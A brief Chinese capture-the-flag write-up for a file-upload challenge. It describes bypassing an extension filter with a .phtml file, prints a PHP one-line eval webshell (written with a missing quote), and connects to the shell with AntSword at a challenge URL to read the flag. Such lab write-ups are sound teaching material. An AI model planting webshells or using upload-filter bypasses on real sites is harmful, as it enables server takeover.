首先看标签,明确方向,这是一个文件上传的题目。
看这里的upload1.jpg,首先我想到先用php配置文件修改jpg文件的属性,让服务器能够解析执行jpg文件.
但是似乎不可行
那就换扩展名
php行不通,那就继续换,经过实验,发现phtml和phtm没有过滤干净
哦,忘了,这里的一句话木马密码是a,之前忘记说了
一句话木马:
<?php
eval($_REQUEST['a]);
接下来使用蚁剑连接这个网址:http://node4.anna.nssctf.cn:28922/upload/1.phtml
后面的1.phtml是你上传的文件,然后找到flag.php
拿到flag